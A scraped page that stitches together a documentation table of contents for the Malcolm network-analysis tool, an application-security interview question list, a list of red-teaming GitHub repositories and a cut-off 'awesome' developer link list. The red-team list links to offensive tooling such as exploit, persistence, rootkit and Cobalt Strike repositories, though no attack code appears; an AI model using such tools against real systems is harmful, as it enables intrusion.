Zeek logs and Arkime sessions](arkime.md#ZeekArkimeFlowCorrelation) - [Help](arkime.md#ArkimeHelp) - [Sessions](arkime.md#ArkimeSessions) + [PCAP Export](arkime.md#ArkimePCAPExport) - [SPIView](arkime.md#ArkimeSPIView) - [SPIGraph](arkime.md#ArkimeSPIGraph) - [Connections](arkime.md#ArkimeConnections) - [Hunt](arkime.md#ArkimeHunt) - [Statistics](arkime.md#ArkimeStats) - [Settings](arkime.md#ArkimeSettings) * [OpenSearch Dashboards](dashboards.md#Dashboards) - [Discover](dashboards.md#Discover) + [Screenshots](dashboards.md#DiscoverGallery) - [Visualizations and dashboards](dashboards.md#DashboardsVisualizations) + [Prebuilt visualizations and dashboards](dashboards.md#PrebuiltVisualizations) * [Screenshots](dashboards.md#PrebuiltVisualizationsGallery) + [Building your own visualizations and dashboards](dashboards.md#BuildDashboard) * [Screenshots](dashboards.md#NewVisualizationsGallery) * [Search Queries in Arkime and OpenSearch Dashboards](queries-cheat-sheet.md#SearchCheatSheet) * Other Malcolm features - [Automatic file extraction and scanning](file-scanning.md#ZeekFileExtraction) - [OpenSearch index management](index-management.md#IndexManagement) - [Event severity scoring](severity.md#Severity) + [Customizing event severity scoring](severity.md#SeverityConfig) - [Zeek Intelligence Framework](zeek-intel.md#ZeekIntel) + [STIX™ and TAXII™](zeek-intel.md#ZeekIntelSTIX) + [MISP](zeek-intel.md#ZeekIntelMISP) - [Anomaly Detection](anomaly-detection.md#AnomalyDetection) - [Alerting](alerting.md#Alerting) + [Email Sender Accounts](alerting.md#AlertingEmail) - ["Best Guess" Fingerprinting for ICS Protocols](ics-best-guess.md#ICSBestGuess) - [Asset Interaction Analysis](asset-interaction-analysis.md#AssetInteractionAnalysis) + [Enriching network traffic metadata via NetBox lookups](asset-interaction-analysis.md#NetBoxEnrichment) + [Compare and highlight discrepancies between NetBox inventory and observed network traffic](asset-interaction-analysis.md#NetBoxCompare) + Populating the NetBox inventory * [Manually](asset-interaction-analysis.md#NetBoxPopManual) * [Via passively-gathered network traffic metadata](asset-interaction-analysis.md#NetBoxPopPassive) * [Via active discovery](asset-interaction-analysis.md#NetBoxPopActive) + [Compare NetBox inventory with database of known vulnerabilities](asset-interaction-analysis.md#NetBoxVuln) + [Preloading NetBox inventory](asset-interaction-analysis.md#NetBoxPreload) + [Backup and restore](asset-interaction-analysis.md#NetBoxBackup) - [CyberChef](cyberchef.md#CyberChef) - [API](api.md#API) * [Forwarding Third-Party Logs to Malcolm](third-party-logs.md#ThirdPartyLogs) * [Malcolm installer ISO](malcolm-iso.md#ISO) - [Installation](malcolm-iso.md#ISOInstallation) - [Generating the ISO](malcolm-iso.md#ISOBuild) - [Setup](malcolm-iso.md#ISOSetup) - [Time synchronization](time-sync.md#ConfigTime) * [Deploying Malcolm with Kubernetes](kubernetes.md#Kubernetes) - [Configuration](kubernetes.md#Config) - [Running Malcolm](kubernetes.md#Running) - [Deployment Example](kubernetes.md#Example) - [Future Enhancements](kubernetes.md#Future) - [Deploying Malcolm on Amazon Elastic Kubernetes Service (EKS)](kubernetes-eks.md#KubernetesEKS) - [Deploying Malcolm on Microsoft Azure Kubernetes Service (AKS)](kubernetes-azure.md#KubernetesAzure) * [Deploying Malcolm in Other Third-Party Environments](third-party-envs.md#ThirdPartyEnv) * [Hardening](hardening.md#Hardening) - [Compliance Exceptions](hardening.md#ComplianceExceptions) * [Installation example using Ubuntu 22.04 LTS](ubuntu-install-example.md#InstallationExample) * [Upgrading Malcolm](malcolm-upgrade.md#UpgradePlan) * [Modifying or Contributing to Malcolm](contributing-guide.md#Contributing)

Updated post at https://ishaqmohammed.me/posts/application-security-engineer-interview-questions/ # Application Security Engineer Interview Questions ##### Some of the questions/topics which i was asked when i was giving interviews for Application/Product Security Engineering roles. I am sure this is not an exhaustive list but i felt these questions were important to be asked and some were challenging to answer. I tried to include the reference resource for some of the questions/topics, feel free to reach out to me on [twitter](https://twitter.com/security_prince) for any feedback/suggestions/discussions. * ###### Which architecture is more secure? 2 tier or 3 tier * ###### Explain SSL Handshake * ###### https://www.youtube.com/watch?v=ubHZQrECeew * ###### https://www.cloudflare.com/learning/ssl/how-does-ssl-work/ * ###### https://www.cloudflare.com/learning/ssl/what-happens-in-a-tls-handshake/ * ###### Recommend XXE mitigation for application which requires external entities to be called because of business requirement * ###### Explain CORS and SOP * ###### https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS * ###### https://portswigger.net/web-security/cors * ###### https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy * ###### https://www.bedefended.com/papers/cors-security-guide * ###### Does SOP mitigate CSRF attacks? * ###### https://security.stackexchange.com/questions/157061/how-does-csrf-correlate-with-same-origin-policy * ###### Exploiting SSRF attacks * ###### https://portswigger.net/web-security/ssrf * ###### https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF * ###### https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af * ###### What is web cache deception? * ###### https://blog.cloudflare.com/understanding-our-cache-and-the-web-cache-deception-attack/ * ###### http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html * ###### https://portswigger.net/research/practical-web-cache-poisoning * ###### What is HTTP request smuggling? * ###### http://projects.webappsec.org/w/page/13246928/HTTP%20Request%20Smuggling * ###### https://portswigger.net/web-security/request-smuggling * ###### Explain DOM XSS. Can DOM XSS be stored? Can CSP header mitigate dom based XSS * ###### https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/ * ###### https://html.spec.whatwg.org/multipage/parsing.html * ###### https://portswigger.net/web-security/cross-site-scripting/dom-based * ###### https://brutelogic.com.br/blog/dom-based-xss-the-3-sinks/ * ###### https://www.scip.ch/en/?labs.20171214 * ###### What will be your testcase for a file upload functionality? * ###### https://medium.com/@satboy.fb/art-of-unrestricted-file-upload-exploitation-92ed28796d0 * ###### https://resources.infosecinstitute.com/file-upload-vulnerabilities/#gref * ###### https://pentestlab.blog/2012/11/19/abusing-file-upload/ * ###### https://pentestlab.blog/2012/11/29/bypassing-file-upload-restrictions/ * ###### What is HSTS? * ###### https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security * ###### Explain SSL Stripping * ###### https://blog.cloudflare.com/performing-preventing-ssl-stripping-a-plain-english-primer/ * ###### If you have API calls which need to fetch credentials, what will be the secure way to store secrets and making them available for API calls? * ###### https://medium.com/hackernoon/where-do-you-keep-credentials-for-your-lambda-functions-cac746048480 * ###### How does file compression work? * ###### Which method is secure? Compress First and then Encrypt the data or Encrypt First then Compress * ###### You have found a vulnerability a product/infrastructure, how will you investigate if this was not exploited already by an attacker * ###### What is SPF, DKIM and DMARC? * ###### https://www.smartertools.com/blog/2019/04/09-understanding-spf-dkim-dmarc * ###### https://www.endpoint.com/blog/2014/04/15/spf-dkim-and-dmarc-brief-explanation * ###### https://www.reddit.com/r/sysadmin/comments/aph6ee/lets_talk_about_email_spoofing_and_prevention_alt/ * ###### Explain DNS Exfiltration * ###### Explain Log Poisoning using LFI/RFI * ###### https://www.hackingarticles.in/apache-log-poisoning-through-lfi/ * ###### https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/ * ###### https://highon.coffee/blog/lfi-cheat-sheet/ * ###### Do the HttpOnly cookie and X-XSS-Protection header mitigate cross-site scripting attacks? * ###### How do you exploit XSS in a post request? * ###### https://portswigger.net/blog/exploiting-xss-in-post-requests * ###### Difference: IDOR, Missing function level access control and privilege escalation * ###### How does burp suite work with HTTPs requests? * ###### https://www.quora.com/How-is-it-possible-that-a-proxy-tool-like-Burp-Suite-is-able-to-decrypt-HTTPS-communication-like-plain-text-credentials * ###### https://portswigger.net/burp/documentation/desktop/tools/proxy/using * ###### Is the DNS service's communication encrypted? * ###### Security implications in DNS * ###### DNS over HTTPs * ###### https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/ * ###### https://www.chromium.org/developers/dns-over-https * ###### How does ssh authentication work? * ###### https://www.digitalocean.com/community/tutorials/understanding-the-ssh-encryption-and-connection-process * ###### https://gravitational.com/blog/ssh-handshake-explained/ * ###### How to create and implement an SSL certificate? * ###### How to verify if a database is encrypted? * ###### If you want a script to use credentials from the system, where will you store the credentials? * ###### Explain SDLC * ###### In which phase of SDLC should security be integrated? * ###### Explain encryption in Wifi network communication. * ###### What are stateless and stateful requests? * ###### https://www.geeksforgeeks.org/difference-between-stateless-and-stateful-protocol/ * ###### How is the state of a request saved in HTTP? * ###### What data does the shadow file contains? * ###### https://www.cyberciti.biz/faq/understanding-etcshadow-file/ * ###### What is salt in cryptography? * ###### What is Double-Submit Cookie? * ###### What is Preflight request? * ###### https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request * ###### What are Certificate Transparency Logs? * ###### What is your favourite vulnerability and why? * ###### Talk about any latest/interesting vulnerability or breach you learnt about. ### Further readings and references: * ##### [Resources-for-Application-Security](https://github.com/security-prince/Resources-for-Application-Security) * ##### [How to prepare for a security engineer interview](https://medium.com/@eraymitrani/how-to-prepare-for-a-security-engineer-interview-6cf1d84de22f) by [Eray Mitrani](https://twitter.com/ErayMitrani) * ##### [Security_Engineer_Interview_Questions](https://github.com/tadwhitaker/Security_Engineer_Interview_Questions/blob/master/security-interview-questions) by [Tad Whitaker](https://twitter.com/theporkskewer) * ##### [Security Engineer - Interview Questions](https://gist.github.com/namishelex01/b5555edbdcdf5597174ddce5c86d3192) by [Namish](https://twitter.com/namishsir) * ##### [60 Cybersecurity Interview Questions 2019 Update](https://danielmiessler.com/study/infosec_interview_questions/) by [Daniel Miessler](https://twitter.com/danielmiessler)

https://github.com/yeyintminthuhtut/Awesome-Red-Teaming https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques https://github.com/redcanaryco/atomic-red-team https://github.com/infosecn1nja/Red-Teaming-Toolkit https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki https://github.com/BankSecurity/Red_Team https://github.com/fireeye/red_team_tool_countermeasures https://github.com/netbiosX/Checklists https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts https://github.com/threatexpress/red-team-scripts https://github.com/vysecurity/RedTips https://github.com/sectool/redteam-hardware-toolkit https://github.com/marcosValle/awesome-windows-red-team https://github.com/b1n4ry4rms/RedTeam-Pentest-Cheatsheets https://github.com/mantvydasb/Red-Team-Infrastructure-Automation https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet https://github.com/tobor88/PowerShell-Red-Team https://github.com/yeyintminthuhtut/Lazy-RedTeamer-Scripts https://github.com/aungthurhahein/Red-Team-Curation-List https://github.com/SecurityRiskAdvisors/RedTeamSIEM https://github.com/pentesteracademy/linux-rootkits-red-blue-teams https://github.com/RedSection/Red-Team-Challenge-Questions https://github.com/CyberSecurityUP/Awesome-Red-Team-Operations https://github.com/antonytuff/Red-Team-Notes https://github.com/r3p3r/yeyintminthuhtut-Awesome-Red-Teaming https://github.com/blackbotinc/Atomic-Red-Team-Intelligence-C2 https://github.com/tonghuaroot/Awesome-macOS-Red-Teaming https://github.com/josephkingstone/cobalt_strike_extension_kit https://github.com/TestingPens/MalwarePersistenceScripts https://github.com/smgorelik/Windows-RCE-exploits https://github.com/unusualwork/red-team-tools https://github.com/mgeeky/Penetration-Testing-Tools https://github.com/therealdeho/red-team-cheat-sheet https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques https://github.com/ramiKahmed/Cloud-Penetration-Testing-and-Red-Teaming

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Check out my <a href="https://sindresorhus.com/apps">apps</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/inputsh/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions. - macOS - Operating system for Apple's Mac computers. - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. - [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. - [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible. - [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole. - [Node-RED](https://github.com/naimo84/awesome-nodered#readme) - A programming tool for wiring together hardware devices, APIs, and online services. - [Low Code](https://github.com/zenitysec/awesome-low-code#readme) - Allowing business professionals to address their needs on their own with little to no coding skills. - [Capacitor](https://github.com/riderx/awesome-capacitor#readme) - Cross-platform open source runtime for building Web Native apps. - [ArcGIS Developer](https://github.com/Esri/awesome-arcgis-developer#readme) - Mapping and location analysis platform for developers. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/inputsh/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/dlang-community/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. - [Zig](https://github.com/catdevnull/awesome-zig#readme) - General-purpose programming language and toolchain for maintaining robust, optimal, and reusable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [lit](https://github.com/web-padawan/awesome-lit#readme) - Library for building web components with a declarative template system. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. - [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework. - [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed. - [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API. - [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites. <br> --- <br> <a 